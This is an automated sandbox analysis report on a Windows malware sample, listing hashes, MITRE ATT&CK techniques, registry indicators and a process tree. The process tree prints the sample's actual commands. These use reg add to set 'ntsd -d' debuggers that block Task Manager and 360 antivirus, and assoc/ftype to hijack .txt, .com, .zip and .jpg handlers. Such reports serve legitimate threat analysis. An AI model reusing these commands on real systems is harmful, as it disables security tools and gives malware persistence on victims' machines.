87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9

Analysis

max time kernel
92s
max time network
93s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12/05/2024, 00:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
Size

5.5MB
MD5

0441a0212c03479aa575e57a55bce133
SHA1

899216e609c7120ffb61fb8bf76e99bc9adc772c
SHA256

87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9
SHA512

407c52f8ede74690d505e88dd4ba2170a985a3402975dd9362327d9b0ed1a96b06c1035868371e1683a6c8b7011b87475b526c680097d2057ebcb71570b7a1be
SSDEEP

98304:oseHlHdc5b9dXLVi2xIb7S1fw7pXyZ7oz0R5uz0rbJagkW7kOLIx1qxz8hjFrZBz:Bem17h10XvwPhagz7q2wNPQ00Y

Score

8^/10

persistence

Malware Config

Signatures

Sets file execution options in registry 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZhuDongFangYu.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZhuDongFangYu.exe\debugger = "ntsd -d"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe\debugger = "ntsd -d"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\debugger = "ntsd -d"	reg.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe "	cmd.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	\??\c:\Program Files\Java\jre-1.8\bin\javaws.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\MSOHTMED.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\Wordconv.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Common Files\microsoft shared\OFFICE16\LICLUA.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\SPREADSHEETCOMPARE.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jre-1.8\bin\klist.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\VPREVIEW.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOXMLED.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\AppSharingHookController.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\javaw.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\jjs.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jre-1.8\bin\policytool.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\MSOUC.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\msoev.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\osmclienticon.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\misc.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\jar.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jre-1.8\bin\java.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\dbcicons.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\lyncicon.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\grv_icons.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2\createdump.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\idlj.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\kinit.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\klist.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\MSOSYNC.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Common Files\microsoft shared\ink\mip.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\jre\bin\ktab.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\jre\bin\tnameserv.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Google\Chrome\Application\chrome.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jre-1.8\bin\javaw.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\jstat.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\7-Zip\Uninstall.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\rmic.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Source Engine\OSE.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Common.DBConnection64.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Common.ShowHelp.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\pubs.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jre-1.8\bin\jjs.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jre-1.8\bin\orbd.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\EQUATION\eqnedt32.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Common Files\microsoft shared\ink\TabTip.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\bin\ktab.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\protocolhandler.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\filecompare.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\xlicons.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\jre\bin\java.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jdk-1.8\jre\bin\jp2launcher.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\Office16\WORDICON.EXE	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Java\jre-1.8\bin\rmid.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Internet Explorer\ExtExport.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
File opened for modification	\??\c:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\msouc.exe	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe "	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\zipfile\Shell	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\jpgfile\Shell	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\zipfile\Shell\Open\Command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe "	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.txt \ = " exefile"	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\jpgfile	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe "	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\zipfile	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\zipfile\Shell\Open	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\zipfile\Shell\Open\Command	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.txt	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\jpgfile\Shell\Open\Command	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\jpgfile\Shell\Open	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\jpgfile\Shell\Open\Command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe "	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 376	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	84
PID 3740 wrote to memory of 376	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	84
PID 3740 wrote to memory of 376	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	84
PID 3740 wrote to memory of 4672	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	90
PID 3740 wrote to memory of 4672	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	90
PID 3740 wrote to memory of 4672	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	90
PID 3740 wrote to memory of 3484	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	91
PID 3740 wrote to memory of 3484	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	91
PID 3740 wrote to memory of 3484	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	91
PID 3740 wrote to memory of 1956	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	92
PID 3740 wrote to memory of 1956	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	92
PID 3740 wrote to memory of 1956	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	92
PID 3740 wrote to memory of 1976	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	93
PID 3740 wrote to memory of 1976	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	93
PID 3740 wrote to memory of 1976	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	93
PID 3740 wrote to memory of 1740	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	94
PID 3740 wrote to memory of 1740	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	94
PID 3740 wrote to memory of 1740	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	94
PID 3740 wrote to memory of 4100	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	96
PID 3740 wrote to memory of 4100	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	96
PID 3740 wrote to memory of 4100	3740	87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe	96
PID 4672 wrote to memory of 2164	4672	cmd.exe	102
PID 4672 wrote to memory of 2164	4672	cmd.exe	102
PID 4672 wrote to memory of 2164	4672	cmd.exe	102
PID 4672 wrote to memory of 3292	4672	cmd.exe	103
PID 4672 wrote to memory of 3292	4672	cmd.exe	103
PID 4672 wrote to memory of 3292	4672	cmd.exe	103
PID 4672 wrote to memory of 4908	4672	cmd.exe	104
PID 4672 wrote to memory of 4908	4672	cmd.exe	104
PID 4672 wrote to memory of 4908	4672	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
"C:\Users\Admin\AppData\Local\Temp\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe
  2⤵
  PID:376
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\123.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\SysWOW64\reg.exe
    reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
    3⤵
    - Sets file execution options in registry
    PID:2164
- - C:\Windows\SysWOW64\reg.exe
    reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
    3⤵
    - Sets file execution options in registry
    PID:3292
- - C:\Windows\SysWOW64\reg.exe
    reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
    3⤵
    - Sets file execution options in registry
    PID:4908
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c assoc .txt = exefile
  2⤵
  - Modifies registry class
  PID:3484
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c ftype comfile=C:\Users\Admin\AppData\Local\Temp\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
  2⤵
  - Modifies system executable filetype association
  - Modifies registry class
  PID:1956
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c ftype zipfile=C:\Users\Admin\AppData\Local\Temp\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
  2⤵
  - Modifies registry class
  PID:1976
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c ftype jpgfile=C:\Users\Admin\AppData\Local\Temp\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
  2⤵
  - Modifies registry class
  PID:1740
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c ftype txtfile=C:\Users\Admin\AppData\Local\Temp\87b2cb7d6ced62304a077275bec229b6ecbb0b4f2858a5a8bdd18c0ba74aeab9.exe
  2⤵
  - Modifies registry class
  PID:4100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\123.bat

Filesize
443B

MD5
70170ba16a737a438223b88279dc6c85

SHA1
cc066efa0fca9bc9f44013660dea6b28ddfd6a24

SHA256
d3674f4b34a8ca8167160519aa5c66b6024eb09f4cb0c9278bc44370b0efec6a

SHA512
37cc8c954544374d0a1ca4d012c9bd0b47781bc9bb8d0c15a8a95b9934893db3bedee867b984c20edabe54c39574abf7250de433aade6c0d544b8dd2c972c6da

Download Submit
C:\Program Files\7-Zip\7zG.exe

Filesize
5.5MB

MD5
36d20a2505bae083cda7db7ae54df169

SHA1
a933cc966f471a7eb8b1001af0cee7da16c306ef

SHA256
8dcf4fdfe916146236b206f95645222908dde7000ca1489aea96ba8c2d83ee6c

SHA512
4bdc458d6bf007f3c748d187e1d0dbb6d86eba077ab05f4b18517b6d8a8568e1a8bf2c770aaa92fa64ef069ac0b0d2a30c782b82d77d8e3f4b47a92d8e67faf7

Download Submit
memory/3740-0-0x0000000000400000-0x0000000000C94000-memory.dmp

Filesize
8.6MB

Download
memory/3740-1-0x000000000040E000-0x000000000070E000-memory.dmp

Filesize
3.0MB

Download
memory/3740-3-0x0000000000400000-0x0000000000C94000-memory.dmp

Filesize
8.6MB

Download
memory/3740-2-0x0000000000D30000-0x0000000000D31000-memory.dmp

Filesize
4KB

Download
memory/3740-5-0x0000000000400000-0x0000000000C94000-memory.dmp

Filesize
8.6MB

Download
memory/3740-8-0x0000000000400000-0x0000000000C94000-memory.dmp

Filesize
8.6MB

Download
memory/3740-1022-0x0000000000400000-0x0000000000C94000-memory.dmp

Filesize
8.6MB

Download
memory/3740-1023-0x000000000040E000-0x000000000070E000-memory.dmp

Filesize
3.0MB

Download